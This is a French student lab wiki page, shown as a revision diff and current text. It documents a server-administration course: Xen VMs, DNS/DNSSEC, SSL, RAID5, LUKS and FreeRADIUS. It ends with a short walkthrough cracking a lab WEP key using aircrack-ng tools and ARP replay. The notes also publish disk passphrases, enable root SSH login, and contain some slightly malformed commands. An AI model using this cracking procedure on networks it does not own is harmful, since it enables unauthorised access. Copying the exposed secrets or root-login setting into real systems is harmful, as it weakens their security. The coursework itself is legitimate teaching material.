Cahier 2017 groupe n°6 : Différence entre versions
(→Installation de la machine virtuelle) |
(→Craquage de clé WEP) |
||
(29 révisions intermédiaires par un autre utilisateur non affichées) | |||
Ligne 4 : | Ligne 4 : | ||
=== Définition d'un DNSSEC === | === Définition d'un DNSSEC === | ||
+ | Un serveur DNS sert à obtenir l'adresse IP correspondant à un nom de domaine (URL dans le cas d'un site Web). L'adresse IP est indispensable à notre navigateur car sans elle, il est incapable de contacter le serveur web responsable du site visité. | ||
+ | |||
+ | Le DNSSEC permet de sécuriser les données envoyées par le DNS. Il a été invité afin de protéger le DNS d'attaques. Le DNSSEC appose une "signature" aux données afin de les certifier auprès de l'utilisateur. | ||
+ | |||
+ | === Objectif === | ||
+ | L'objectif de cette tâche secondaire est de réaliser des test approfondis sur le DNSSEC de la plateforme. Dans un premier temps, il s'agit de l'installer en salle serveur. Dans un second temps, il s'agit d'étudier le bon fonctionnement du DNSSEC (les clefs changent-elles correctement chaque semaine ?) | ||
+ | |||
+ | === Réalisation === | ||
+ | Dans un premier temps, nous avons installé le serveur. Il a alors fallu trouver les rails adéquats pour le réaliser. Sur notre serveur, nous avons regardé les configurations réseau : | ||
+ | |||
+ | ifconfig eth0 | ||
+ | vlan6 : 172.26.64.14 | ||
+ | mask : 255.255.240.0 | ||
+ | gateway : 172.26.79.254 | ||
+ | |||
+ | L’idée pour reconnecter notre serveur au réseau était de mettre le réseau insecure sur le vlan6 et internet sur le vlan47. Pour cela nous avons réalisé les commandes suivantes : | ||
+ | |||
+ | configure terminal | ||
+ | vlan6 | ||
+ | name insecure | ||
+ | |||
+ | Nous faisons la même chose pour le name internet | ||
+ | |||
+ | En faisant un show vlan sur notre serveur, nous voyons bien les noms apparaitre : | ||
+ | |||
+ | mount -o loop | ||
+ | xl create –c /etc/xen/ima5-dns.cfg | ||
+ | vi /etc/host | ||
+ | |||
+ | Et nous mettons ima5-dns partout. Ainsi, pour se connecter à la machine virtuelle par ssh, nous le faisons en passant par weppes en faisant : | ||
+ | <pre> | ||
+ | Ssh -6 addresseIPV6 –l root | ||
+ | </pre> | ||
+ | |||
+ | Enfin, le DNSSEC doit faire un changer de clefs toutes les semaines, nous devons vérifier si cela est bien le cas. Dans le dossier /etc/bind/zone, nous pouvons y voir figurer quatre zones. La zone plil.info est la seule supposée fonctionner. Les clefs se situe dans le dossier /root/dns/rollzsk. Nous pouvons faire changer les clefs. Lorsque nous avons lancé le serveur, il a également fallu relancer le script chargé de faire changer les clefs chaque semaine. Le script se coupant, nous l’avons lancé en tâche de fond et avons attendu la semaine suivante pour voir si un changement avait été fait. Nous avons également réalisé une sauvegarde des clefs actuelles dans un dossier afin de pouvoir réaliser la comparaison. | ||
+ | Les semaines suivantes, nous n’avons pas vu de changement au niveau des clefs, il s’agissait toujours des mêmes. | ||
== Installation du matériel == | == Installation du matériel == | ||
Ligne 11 : | Ligne 47 : | ||
== Installation de la machine virtuelle == | == Installation de la machine virtuelle == | ||
− | La | + | == Création == |
+ | Les machines virtuelles que nous installons sont sur le serveur cordouan que nous accédons via SSH. | ||
+ | La création des machines virtuelles (VMs) s'effectue grâce à la commande "xen". Ainsi, depuis cordouan, nous lançons la commande xen-create-image en prenant soin d'y ajoutant les paramètres importants. Il est à noter que nous changerons l'adresse IP initiale car lors de la première séance nous avions travaillé sur le réseau ''insecure'' qui n'est pas notre réseau définitif. | ||
+ | <pre> | ||
+ | xen-create-image --hostname=papaye --ip=172.26.79.101 --netmask=255.255.255.224 --gateway=172.26.79.254 --dir=/usr/local/xen | ||
+ | </pre> | ||
+ | |||
+ | Une fois la VM créée, il est possible de la démarrer de la manière suivante : | ||
+ | <pre> xl create /etc/xen/IMA5-Papaye/cfg </pre> | ||
+ | Ensuite, nous lançons la console de cette manière : | ||
+ | <pre> xl console IMA5-Papaye </pre> | ||
+ | Puis, pour sortir de cette dernière, nous faisons : <pre> ctrl + alt gr + ] </pre> | ||
+ | Enfin, pour éteindre la machine virtuelle : <pre> xl shutdown IMA5-Papaye </pre> | ||
+ | Et pour détruire la VM : <pre> xl destroy IMA5-Papaye </pre> | ||
+ | |||
+ | == Configuration == | ||
+ | Maintenant, nous devons faire en sorte que les répertoires var et home de notre VM soient sur des partitions de l'hôte. Pour cela, nous utilisons la commande ''lvcreate''. | ||
+ | |||
+ | Il est à noter que pour le répertoire ''home'', la manipulation est un peu plus simple que pour le répertoire ''var''. Tout d'abord, nous faisons appel à ''lvcreate'' de la manière suivante, depuis cordouan : | ||
<pre> | <pre> | ||
− | + | lvcreate -L10G -IMA5-Papaye-home | |
+ | lvcreate -L10G -IMA5-Papaye-var | ||
</pre> | </pre> | ||
+ | (Il est possible de visualiser notre home grâce à la commande ''lsblk'' qui affiche tous les périphériques bloc. | ||
+ | |||
+ | Ensuite, nous ajoutons les disques dans le fichier de configuration de cordouan, dans /etc/xen/IMA5-Papaye. Nous appelons le disque ''home'', ''xvda3'' et le disque ''var'', ''xvda4''. | ||
+ | |||
+ | Puis, nous transformons nos disque en partitions ext4 : | ||
+ | <pre> | ||
+ | mkfs -t ext4 /dev/xvda3 | ||
+ | mkfs -t ext4 /dev/xvda4 | ||
+ | </pre> | ||
+ | |||
+ | === HOME === | ||
+ | Pour la partition ''home'', il suffit de modifier le fichier /etc/fstab de la VM et d'y ajouter la ligne suivante pour que la partition soit montée au démarrage : | ||
+ | <pre> /dev/xvda3 /home ext4 defaults 0 2 </pre> | ||
+ | Le "0" indique que nous sauvegardons jamais et le "2" est propre à la sécurité de la partition. | ||
+ | Ainsi, un simple <pre> mount -a </pre> suffit à monter à la partition. (Il est possible de la vérifier grâce à la commande ''df'') | ||
+ | |||
+ | === VAR === | ||
+ | Pour la partition ''var'', c'est un peu plus compliqué car il faut monter la partition dans un /mnt temporaire avant de la déplacer. Nous effectuons donc les instructions suivantes : | ||
+ | <pre> | ||
+ | mount /dev/xvda4 /mnt | ||
+ | mv /var/* /mnt | ||
+ | </pre> | ||
+ | Enfin, nous modifions le fichier /etc/fstab de la même manière que pour la partition ''home'' : | ||
+ | <pre> /dev/xvda4 /var ext4 defaults 0 2 </pre> | ||
== Serveur SSH == | == Serveur SSH == | ||
+ | Dans un premier temps, nous devons changer l'adresse IP de notre machine virtuelle ainsi que son masque dans /etc/config. Notre adresse IP est 193.48.57.178. Et notre masque est 255.255.255.240. Puis, nous avons modifié le fichier /etc/xen/IMA5-Papaye. En effet, nous remplaçons l'id par IMA5sc (pour la première séance, nous utilisions ''insecure''). De plus, nous rajoutons la route par défaut, le gateway : 193.49.57.177 dans le fichier /etc/config. | ||
+ | |||
+ | Il est nécessaire d'installer ssh sur notre machine virtuelle : | ||
+ | <pre> | ||
+ | apt-get install ssh | ||
+ | </pre> | ||
+ | |||
+ | De plus, il est important de modifier le fichier /etc/ssh/sshd_config en changeant la ligne suivante : | ||
+ | <pre> PermitRootLogin Prohibited </pre> | ||
+ | par | ||
+ | <pre> PermitRootLogin yes </pre> | ||
+ | Grâce à cela, nous pourrons nous connecter en root sur la machine en ssh. | ||
+ | |||
+ | Nous redémarrons le service : | ||
+ | <pre> service ssh restart </pre> | ||
+ | |||
== Serveur DNS == | == Serveur DNS == | ||
+ | Dans un premier temps, nous avons acheté notre nom de domaine sur Gandi en prenant soin que ce dernier autorise l'installation d'un DNSSEC. Nous avons donc pris le domaine papaye.space. | ||
+ | |||
+ | Puis, nous avons installé bind9 et apache2 : <pre>apt-get install bind9 apache2 </pre>. Nous avons d'ailleurs ajouté au fichier /etc/default/bind9 la ligne suivante : | ||
+ | <pre> OPTIONS="-4 -u bind" </pre> | ||
+ | |||
+ | Ensuite, nous créons le dossier pour la page web qui sera vide pour le moment : | ||
+ | <pre> mkdir /var/www/www.papaye.space </pre> | ||
+ | |||
+ | Dans un second temps, nous créons la table de DNS ou le fichier de zone : dns.papaye.space, en voici le contenu : | ||
+ | |||
+ | <pre> | ||
+ | ; | ||
+ | ; BIND data file for local loopback interface | ||
+ | ; | ||
+ | $TTL 604800 | ||
+ | @ IN SOA dns.papaye.space. root.papaye.space ( | ||
+ | 2 ; Serial | ||
+ | 604800 ; Refresh | ||
+ | 86400 ; Retry | ||
+ | 2419200 ; Expire | ||
+ | 604800 ) ; Negative Cache TTL | ||
+ | ; | ||
+ | IN NS dns.papaye.space. | ||
+ | ns IN A 193.48.57.178 | ||
+ | www IN A 193.48.57.178 </pre> | ||
+ | |||
+ | Ensuite, nous configurons le fichier named.conf.local : | ||
+ | <pre> zone "papaye.space" { | ||
+ | type master; | ||
+ | file "/etc/bind/dns.papaye.space"; | ||
+ | }; | ||
+ | </pre> | ||
+ | |||
+ | Ainsi que le fichier named.conf.options (217.70.177.40/32 étant l'adresse IP de Gandi, notre DNS esclave : | ||
+ | <pre> | ||
+ | options { | ||
+ | directory "var/cache/bind" | ||
+ | dnssec-validation auto; | ||
+ | auth-nxdomain no; | ||
+ | allow-transfer {"allowed_to_transfer";} | ||
+ | listen-on-v6 {any;} | ||
+ | } | ||
+ | acl "allowed_to_transfer" { | ||
+ | 217.70.177.40/32; | ||
+ | } | ||
+ | </pre> | ||
+ | |||
+ | Enfin, nous redémarrons notre service bind9 : | ||
+ | <pre> service bind9 restart </pre> | ||
+ | |||
+ | Les configurations depuis notre machine virtuelle sont terminées mais nous avons dû également effectuer un réglage depuis Gandi afin de renseigner nos DNS. | ||
+ | Pour les "glues records", | ||
+ | <pre> | ||
+ | 'Nom du serveur' : dns.papaye.space | ||
+ | 'IP' : 193.48.57.178 | ||
+ | </pre> | ||
+ | Pour les DNS, | ||
+ | <pre> | ||
+ | 'DNS1' : dns.papaye.space | ||
+ | 'DNS2' : ns6.gandi.net | ||
+ | </pre> | ||
+ | |||
== Sécurisation du site web via un certificat == | == Sécurisation du site web via un certificat == | ||
+ | L'objectif de cette partie est d'obtenir un certificat pour notre site web. Le certificat SSL généré par Gandi s'obtient de la manière suivante : | ||
+ | <pre> openssl req -nodes -newkey rsa:2048 -sha1 -keyout papaye.space.key -out papaye.space.csr </pre> | ||
+ | |||
+ | Afin de valider notre certificat par Gandi, nous avons dû ajouter une ligne de code à notre fiche de zone (dns.papaye.space), qui était donné par le site. | ||
+ | |||
+ | Une fois le certificat validé par Gandi, un petit cadenas noir est visualisable à côté de notre nom de domaine. De plus, nous pouvons recopier les fichiers de certification générés par Gandi dans le dossier SSL. | ||
+ | <pre> | ||
+ | cp certificat.crt /etc/ssl/certs/papaye.space.crt | ||
+ | cp serveur.key /etc/ssl/private/papaye.space.key | ||
+ | cp GandiStandardSSLCA.pem /etc/ssl/certs/GandiStandardSSLCA.pem | ||
+ | </pre> | ||
+ | |||
+ | Nous faisons un hashage de notre structure afin que notre certificat soit prend en compte : | ||
+ | <pre> c_rehash /etc/ssl/certs </pre> | ||
+ | |||
+ | Puis, nous créons le fichier 000-papaye.space-ssl.conf dans /etc/apache2/sites-available/ pour associer apache2 à notre nom de serveur : | ||
+ | <pre> | ||
+ | #NameVirtualHost *:443 | ||
+ | <VirtualHost 193.48.57.178:443> | ||
+ | ServerName www.papaye.space | ||
+ | ServerAlias papaye.space | ||
+ | DocumentRoot /var/www/www.papaye.space/ | ||
+ | CustomLog /var/log/apache2/secure_acces.log combined | ||
+ | |||
+ | SSLEngine on | ||
+ | SSLCertificateFile /etc/ssl/certs/papaye.space.crt | ||
+ | SSLCertificateKeyFile /etc/ssl/private/papaye.space.key | ||
+ | SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA.pem | ||
+ | SSLVerifyClient None | ||
+ | </VirtualHost> | ||
+ | <Directory /var/www/www.papaye.space> | ||
+ | Require all granted | ||
+ | </Directory> | ||
+ | ServerName "papaye.space" | ||
+ | </pre> | ||
+ | |||
+ | Ensuite, nous modifions le fichier ports.conf du serveur Apache afin qu'il écoute le port 443 (SSL): | ||
+ | <pre> | ||
+ | Listen 80 443 | ||
+ | |||
+ | <IfModule ssl_module> | ||
+ | Listen 443 | ||
+ | </IfModule> | ||
+ | </pre> | ||
+ | |||
+ | Enfin, nous activons le module SSL d'Apache et activons notre site avec notre certificat : | ||
+ | <pre> | ||
+ | a2enmod ssl | ||
+ | a2ensite 000-papaye.space-ssl.conf | ||
+ | service apache2 reload | ||
+ | </pre> | ||
+ | |||
== Sécurisation du DNS via un DNSSEC == | == Sécurisation du DNS via un DNSSEC == | ||
+ | Dans un premier temps, nous devons activer le DNSSEC en ajoutant l'option dans le fichier /etc/bind/named.conf.options : | ||
+ | <pre> dnssec-enable yes; </pre> | ||
+ | |||
+ | Ensuite, nous créons le répertoire dans lequel nous allons créer nos clef : | ||
+ | <pre> | ||
+ | mkdir papaye.space.dnssec | ||
+ | cd papaye.space.dnssec | ||
+ | </pre> | ||
+ | |||
+ | Dans un second temps, nous générons nos clefs KSK et ZSK de la manière suivante : | ||
+ | <pre> | ||
+ | dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE papaye.space | ||
+ | dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE papaye.space | ||
+ | </pre> | ||
+ | |||
+ | Nous devons inclure ces clefs dans notre fichier de zone (dns.papaye.space) (la 14842 étant la ksk et l'autre la zsk): | ||
+ | <pre> | ||
+ | $include /etc/bind/papaye.space.dnssec/Kpapaye.space.+005+14842.key | ||
+ | $include /etc/bind/papaye.space.dnssec/Kpapaye.space.+005+62520.key | ||
+ | </pre> | ||
+ | |||
+ | Enfin, nous signons la zone : | ||
+ | <pre> dnssec-signzone -o papaye.space-k Kpapaye.space.+005+14842 ../dns.papaye.space Kpapaye.space.+005+62520 </pre> | ||
+ | |||
+ | Pour finir, nous saisissons dans Gandi la clé publique de la KSK et de la ZSK en allant dans l'onglet "générer DNSSEC". Nous vérifions la sécurisation grâce à la commande : | ||
+ | <pre> dig DNSKEY papaye.space @localhost </pre> | ||
+ | Nous remarquons bien la présence de DNSKEY qui nous certifie la sécurisation de notre DNS. | ||
== Sécurisation et cryptage des données == | == Sécurisation et cryptage des données == | ||
+ | |||
=== Sécurisation via RAID5 === | === Sécurisation via RAID5 === | ||
− | === Cryptage === | + | |
+ | Depuis cordouan, nous créons 3 disque disques virtuels avec ''lvcreate'' : | ||
+ | <pre> | ||
+ | lvcreate -L 1G -n /dev/virtual/papaye-raid1 | ||
+ | lvcreate -L 1G -n /dev/virtual/papaye-raid2 | ||
+ | lvcreate -L 1G -n /dev/virtual/papaye-raid3 | ||
+ | </pre> | ||
+ | |||
+ | Nous rajoutons ces disques à la configuration de notre machine virtuelle. Toujours depuis cordouan, dans /etc/xen/Papaye.cfg, nous ajoutons : | ||
+ | <pre> | ||
+ | 'phy:/dev/virtual/papaye-raid1,xvdd1, w', | ||
+ | 'phy:/dev/virtual/papaye-raid2,xvdd2, w', | ||
+ | 'phy:/dev/virtual/papaye-raid3,xvdd3, w', | ||
+ | </pre> | ||
+ | |||
+ | Depuis notre machine virtuelle cette fois, nous installons mdadm : | ||
+ | <pre>apt-get install mdadm </pre> | ||
+ | |||
+ | Nous créons le disque RAID5 md0 : | ||
+ | <pre> mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvdd2 /dev/xvdd3 </pre> | ||
+ | |||
+ | Nous installons le système de fichier ext4 dessus : | ||
+ | <pre> mkfs -t ext4 /dev/md0 </pre> | ||
+ | |||
+ | Nous sauvegardons le tout et montons le disque : | ||
+ | <pre> | ||
+ | mdadm --detail --scan >> /etc/mdadm/mdadm.conf | ||
+ | mount /dev/md0 /mnt | ||
+ | </pre> | ||
+ | |||
+ | Enfin nous effectuons un petit test afin de noter la reconstruction de notre disque. | ||
+ | Nous supprimons une des partitions et observons qu'il est bien manquant dans la configuration : | ||
+ | <pre> | ||
+ | mdadm --set-faulty /dev/md0 /dev/xvdd2 | ||
+ | mdadm --remove /dev/md0 /dev/xvdd2 | ||
+ | cat /proc/mdstat | ||
+ | Personalities : [raid6] [raid5] [raid4] | ||
+ | md0 : active raid5 xvdd1[0] xvdd3[2] | ||
+ | 2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U] | ||
+ | </pre> | ||
+ | |||
+ | Nous montons le disque à nouveau et pouvons noter la reconstruction du disque : | ||
+ | <pre> | ||
+ | mount /dev/md0 /mnt | ||
+ | </pre> | ||
+ | |||
+ | <pre> | ||
+ | root@Papaye:/mnt# ls | ||
+ | lost+found test.txt | ||
+ | </pre> | ||
+ | |||
+ | Nous remettons la partition : | ||
+ | mdadm --add /dev/md0 /dev/xvdd2 | ||
+ | |||
+ | Et on observe la reconstruction grâce à cat /proc/mdstat. | ||
+ | |||
+ | |||
+ | === Cryptage des données === | ||
+ | Dans cette partie, nous allons voir comment crypter des données sur un disque virtuel. | ||
+ | De la même manière que pour la partie précédente, nous créons un disque virtuel via la commande : | ||
+ | <pre> | ||
+ | lvcreate -L 1G -n /dev/virtual/papaye-cryptage | ||
+ | </pre> | ||
+ | Nous rajoutons ce disque à la configuration de notre machine virtuelle. Depuis cordouan, dans /etc/xen/Papaye.cfg, nous ajoutons : | ||
+ | <pre> | ||
+ | 'phy:/dev/virtual/papaye-cryptage,xvdd4, w', | ||
+ | </pre> | ||
+ | |||
+ | Nous configurons le disque en type Luks : | ||
+ | <pre> | ||
+ | cryptsetup luksFormat /dev/xvdd4 | ||
+ | </pre> | ||
+ | La phrase secrète est : pasglop, glopglop ou michel. | ||
+ | |||
+ | Nous pouvons vérifier les informations via cette commande : | ||
+ | <pre> | ||
+ | cryptsetup luksDump /dev/xvdd4 | ||
+ | </pre> | ||
+ | |||
+ | Ainsi, nous obtenons les informations suivantes : | ||
+ | <pre> | ||
+ | LUKS header information for /dev/xvdd4 | ||
+ | |||
+ | Version: 1 | ||
+ | Cipher name: aes | ||
+ | Cipher mode: xts-plain64 | ||
+ | Hash spec: sha256 | ||
+ | Payload offset: 4096 | ||
+ | MK bits: 256 | ||
+ | MK digest: 25 40 d5 6d b9 ff c0 d3 d8 cd fb e8 80 41 eb a8 f3 13 58 30 | ||
+ | MK salt: a1 9e 1a 6d 40 59 46 86 14 9e 2a de 66 86 6b e0 | ||
+ | 39 79 44 db ac 5f 01 a2 cb 9f b8 46 40 4c 3c 53 | ||
+ | MK iterations: 242250 | ||
+ | UUID: 2e9af817-8eb1-4478-a095-048645e8983d | ||
+ | |||
+ | Key Slot 0: ENABLED | ||
+ | Iterations: 1924810 | ||
+ | Salt: f6 28 22 be 14 d9 78 3e 83 d2 f7 cb af bf 1f 52 | ||
+ | 88 8f bf bf 83 e2 28 65 1d f1 d3 fe 16 6c b8 e0 | ||
+ | Key material offset: 8 | ||
+ | AF stripes: 4000 | ||
+ | Key Slot 1: DISABLED | ||
+ | Key Slot 2: DISABLED | ||
+ | Key Slot 3: DISABLED | ||
+ | Key Slot 4: DISABLED | ||
+ | Key Slot 5: DISABLED | ||
+ | Key Slot 6: DISABLED | ||
+ | Key Slot 7: DISABLED | ||
+ | </pre> | ||
+ | |||
+ | Nous ouvrons notre partition cryptée avec : | ||
+ | <pre> | ||
+ | cryptsetup luksOpen /dev/xvdd4 | ||
+ | </pre> | ||
+ | Puis, nous saisissons la phrase secrète. | ||
+ | |||
+ | Nous ajoutons des fichiers : | ||
+ | <pre> | ||
+ | mkfs.ext3 /dev/mapper/kadoc | ||
+ | </pre> | ||
+ | |||
+ | Ensuite, nous créons un dossier contenant un fichier contenant une simple phrase. Pour écrire dedans il faut monter notre partition. | ||
+ | Montage : | ||
+ | <pre> | ||
+ | mount -t ext3 /dev/mapper/kadoc /mnt/ | ||
+ | </pre> | ||
+ | Démontage : | ||
+ | <pre> | ||
+ | umount /mnt/ | ||
+ | </pre> | ||
+ | |||
+ | Nous encryptons à nouveau la partition avec la commande suivante : | ||
+ | <pre> | ||
+ | cryptsetup luksClose kadoc | ||
+ | </pre> | ||
+ | |||
+ | Enfin, nous vérifions avec GParted que notre partition n'est plus accessible sans mot de passe : | ||
+ | <pre> | ||
+ | gparted /dev/xvdd4 | ||
+ | </pre> | ||
+ | |||
+ | La commande nous renvoie : | ||
+ | <pre> | ||
+ | root@IMA5-Papaye:/# gparted /dev/xvdd4 | ||
+ | Created symlink /run/systemd/system/-.mount -> /dev/null. | ||
+ | Created symlink /run/systemd/system/home.mount -> /dev/null. | ||
+ | Created symlink /run/systemd/system/tmp.mount -> /dev/null. | ||
+ | Created symlink /run/systemd/system/var.mount -> /dev/null. | ||
+ | [ 1051.732565] systemd[1]: apt-daily.timer: Adding 2h 21min 20.971598s random time. | ||
+ | [ 1051.733189] systemd[1]: apt-daily-upgrade.timer: Adding 46min 37.363850s random time. | ||
+ | |||
+ | (gpartedbin:3635): Gtk-WARNING **: cannot open display: | ||
+ | Removed /run/systemd/system/-.mount. | ||
+ | Removed /run/systemd/system/home.mount. | ||
+ | Removed /run/systemd/system/tmp.mount. | ||
+ | Removed /run/systemd/system/var.mount. | ||
+ | [ 1051.853426] systemd[1]: apt-daily.timer: Adding 6h 49min 20.775084s random time. | ||
+ | [ 1051.854034] systemd[1]: apt-daily-upgrade.timer: Adding 47min 6.121251s random time. | ||
+ | root@IMA | ||
+ | </pre> | ||
+ | |||
+ | == Configuration des bornes Wifi == | ||
+ | === Création du serveur FreeRadius === | ||
+ | Dans un premier temps, il est nécessaire d'implémenter un serveur d'identification FreeRADIUS sur notre machine virtuelle. | ||
+ | |||
+ | Pour cela, il faut installer FreeRADIUS : | ||
+ | <pre> | ||
+ | apt-get install freeradius | ||
+ | </pre> | ||
+ | |||
+ | Ensuite, nous ajoutons un utilisateur dans le fichier /etc/freeradius/users pour s'authentifier sur le réseau WiFi : | ||
+ | <pre> | ||
+ | nom_de_l_utilisateur Cleartext-password := "mot_de_passe" | ||
+ | </pre> | ||
+ | |||
+ | |||
+ | Nous ajoutons aussi les clients (correspondants aux deux points d'accès Wifi et à notre futur VLAN) dans le fichier /etc/freeradius/clients.conf. Pour le moment, nous avons réalisé des tests avec un seul client : | ||
+ | <pre> | ||
+ | client E304 { | ||
+ | ipaddr = 10.10.0.10 | ||
+ | secret = mot_de_passe | ||
+ | } | ||
+ | </pre> | ||
+ | |||
+ | Pour redémarrer FreeRADIUS, nous effectuons : | ||
+ | <pre> | ||
+ | service freeradius restart | ||
+ | </pre> | ||
+ | |||
+ | === Craquage de clé WEP === | ||
+ | Pour ce faire, nous avons besoin de deux postes. Sur le premier, il est nécessaire de générer un traffic sur le réseau afin de capturer les paquets ARP sur l'autre ordinateur. Nous le faisons à l'aide de la commande nping de la manière suivante : | ||
+ | <pre> | ||
+ | nping --arp-type ARP -c 11000 --flags rst --ttl 2 10.2.0.2 | ||
+ | </pre> | ||
+ | |||
+ | Nous mettons le mode moniteur sur la clé wifi. Il nous faut pour cela le nom de notre clé wifi (wlx40a5ef0125e9), obtenu grâce à la commande iwconfig : | ||
+ | <pre> | ||
+ | airmon-ng start wlx40a5ef0125e9 | ||
+ | </pre> | ||
+ | |||
+ | Ensuite, nous avons besoin de connaitre le BSSID, channel (CH) et ESSID. Pour cela, nous réalisons : | ||
+ | <pre> | ||
+ | airodump-ng wlx40a5ef0125e9 | ||
+ | </pre> | ||
+ | |||
+ | Maintenant, sur le deuxième poste, nous capturons les trames circulant sur le réseau : | ||
+ | <pre> | ||
+ | airodump-ng --bssid C4:14:3C:40:78:65 -c 3 -w crack_wep wlx40a5ef0125e9 | ||
+ | </pre> | ||
+ | |||
+ | Pour accélérer le craquage, nous allons générer d'avantage de traffique sur le réseau : | ||
+ | <pre> | ||
+ | aireplay-ng -3 -b C4:14:3C:40:78:65 -h 00:0F:B5:92:22:68 wlx40a5ef0125e9 (00:0F:B5:92:22:68 étant l'adresse MAC de l'ordinateur secondaire) | ||
+ | </pre> | ||
+ | |||
+ | Voici le résultat : | ||
+ | [[Fichier:Resultat_craquage_dorian.jpg|800 px|thumb|center|Résultat du craquage]] | ||
+ | |||
+ | Il suffit maintenant de craquer la data capturée dans le fichier.cap : | ||
+ | <pre> | ||
+ | aircrack-ng crack_wep-02.cap | ||
+ | </pre> |
Version actuelle datée du 26 janvier 2018 à 10:33
Sommaire
- 1 Tâche spécifique
- 2 Tâches communes
Tâche spécifique
Présentation de la tâche
Définition d'un DNSSEC
Un serveur DNS sert à obtenir l'adresse IP correspondant à un nom de domaine (URL dans le cas d'un site Web). L'adresse IP est indispensable à notre navigateur car sans elle, il est incapable de contacter le serveur web responsable du site visité.
Le DNSSEC permet de sécuriser les données envoyées par le DNS. Il a été invité afin de protéger le DNS d'attaques. Le DNSSEC appose une "signature" aux données afin de les certifier auprès de l'utilisateur.
Objectif
L'objectif de cette tâche secondaire est de réaliser des test approfondis sur le DNSSEC de la plateforme. Dans un premier temps, il s'agit de l'installer en salle serveur. Dans un second temps, il s'agit d'étudier le bon fonctionnement du DNSSEC (les clefs changent-elles correctement chaque semaine ?)
Réalisation
Dans un premier temps, nous avons installé le serveur. Il a alors fallu trouver les rails adéquats pour le réaliser. Sur notre serveur, nous avons regardé les configurations réseau :
ifconfig eth0 vlan6 : 172.26.64.14 mask : 255.255.240.0 gateway : 172.26.79.254
L’idée pour reconnecter notre serveur au réseau était de mettre le réseau insecure sur le vlan6 et internet sur le vlan47. Pour cela nous avons réalisé les commandes suivantes :
configure terminal vlan6 name insecure
Nous faisons la même chose pour le name internet
En faisant un show vlan sur notre serveur, nous voyons bien les noms apparaitre :
mount -o loop xl create –c /etc/xen/ima5-dns.cfg vi /etc/host
Et nous mettons ima5-dns partout. Ainsi, pour se connecter à la machine virtuelle par ssh, nous le faisons en passant par weppes en faisant :
Ssh -6 addresseIPV6 –l root
Enfin, le DNSSEC doit faire un changer de clefs toutes les semaines, nous devons vérifier si cela est bien le cas. Dans le dossier /etc/bind/zone, nous pouvons y voir figurer quatre zones. La zone plil.info est la seule supposée fonctionner. Les clefs se situe dans le dossier /root/dns/rollzsk. Nous pouvons faire changer les clefs. Lorsque nous avons lancé le serveur, il a également fallu relancer le script chargé de faire changer les clefs chaque semaine. Le script se coupant, nous l’avons lancé en tâche de fond et avons attendu la semaine suivante pour voir si un changement avait été fait. Nous avons également réalisé une sauvegarde des clefs actuelles dans un dossier afin de pouvoir réaliser la comparaison. Les semaines suivantes, nous n’avons pas vu de changement au niveau des clefs, il s’agissait toujours des mêmes.
Installation du matériel
Tâches communes
Installation de la machine virtuelle
Création
Les machines virtuelles que nous installons sont sur le serveur cordouan que nous accédons via SSH. La création des machines virtuelles (VMs) s'effectue grâce à la commande "xen". Ainsi, depuis cordouan, nous lançons la commande xen-create-image en prenant soin d'y ajoutant les paramètres importants. Il est à noter que nous changerons l'adresse IP initiale car lors de la première séance nous avions travaillé sur le réseau insecure qui n'est pas notre réseau définitif.
xen-create-image --hostname=papaye --ip=172.26.79.101 --netmask=255.255.255.224 --gateway=172.26.79.254 --dir=/usr/local/xen
Une fois la VM créée, il est possible de la démarrer de la manière suivante :
xl create /etc/xen/IMA5-Papaye/cfg
Ensuite, nous lançons la console de cette manière :
xl console IMA5-PapayePuis, pour sortir de cette dernière, nous faisons :
ctrl + alt gr + ]Enfin, pour éteindre la machine virtuelle :
xl shutdown IMA5-PapayeEt pour détruire la VM :
xl destroy IMA5-Papaye
Configuration
Maintenant, nous devons faire en sorte que les répertoires var et home de notre VM soient sur des partitions de l'hôte. Pour cela, nous utilisons la commande lvcreate.
Il est à noter que pour le répertoire home, la manipulation est un peu plus simple que pour le répertoire var. Tout d'abord, nous faisons appel à lvcreate de la manière suivante, depuis cordouan :
lvcreate -L10G -IMA5-Papaye-home lvcreate -L10G -IMA5-Papaye-var
(Il est possible de visualiser notre home grâce à la commande lsblk qui affiche tous les périphériques bloc.
Ensuite, nous ajoutons les disques dans le fichier de configuration de cordouan, dans /etc/xen/IMA5-Papaye. Nous appelons le disque home, xvda3 et le disque var, xvda4.
Puis, nous transformons nos disque en partitions ext4 :
mkfs -t ext4 /dev/xvda3 mkfs -t ext4 /dev/xvda4
HOME
Pour la partition home, il suffit de modifier le fichier /etc/fstab de la VM et d'y ajouter la ligne suivante pour que la partition soit montée au démarrage :
/dev/xvda3 /home ext4 defaults 0 2
Le "0" indique que nous sauvegardons jamais et le "2" est propre à la sécurité de la partition.
Ainsi, un simplemount -asuffit à monter à la partition. (Il est possible de la vérifier grâce à la commande df)
VAR
Pour la partition var, c'est un peu plus compliqué car il faut monter la partition dans un /mnt temporaire avant de la déplacer. Nous effectuons donc les instructions suivantes :
mount /dev/xvda4 /mnt mv /var/* /mnt
Enfin, nous modifions le fichier /etc/fstab de la même manière que pour la partition home :
/dev/xvda4 /var ext4 defaults 0 2
Serveur SSH
Dans un premier temps, nous devons changer l'adresse IP de notre machine virtuelle ainsi que son masque dans /etc/config. Notre adresse IP est 193.48.57.178. Et notre masque est 255.255.255.240. Puis, nous avons modifié le fichier /etc/xen/IMA5-Papaye. En effet, nous remplaçons l'id par IMA5sc (pour la première séance, nous utilisions insecure). De plus, nous rajoutons la route par défaut, le gateway : 193.49.57.177 dans le fichier /etc/config.
Il est nécessaire d'installer ssh sur notre machine virtuelle :
apt-get install ssh
De plus, il est important de modifier le fichier /etc/ssh/sshd_config en changeant la ligne suivante :
PermitRootLogin Prohibited
par
PermitRootLogin yes
Grâce à cela, nous pourrons nous connecter en root sur la machine en ssh.
Nous redémarrons le service :
service ssh restart
Serveur DNS
Dans un premier temps, nous avons acheté notre nom de domaine sur Gandi en prenant soin que ce dernier autorise l'installation d'un DNSSEC. Nous avons donc pris le domaine papaye.space.
Puis, nous avons installé bind9 et apache2 :apt-get install bind9 apache2. Nous avons d'ailleurs ajouté au fichier /etc/default/bind9 la ligne suivante :
OPTIONS="-4 -u bind"
Ensuite, nous créons le dossier pour la page web qui sera vide pour le moment :
mkdir /var/www/www.papaye.space
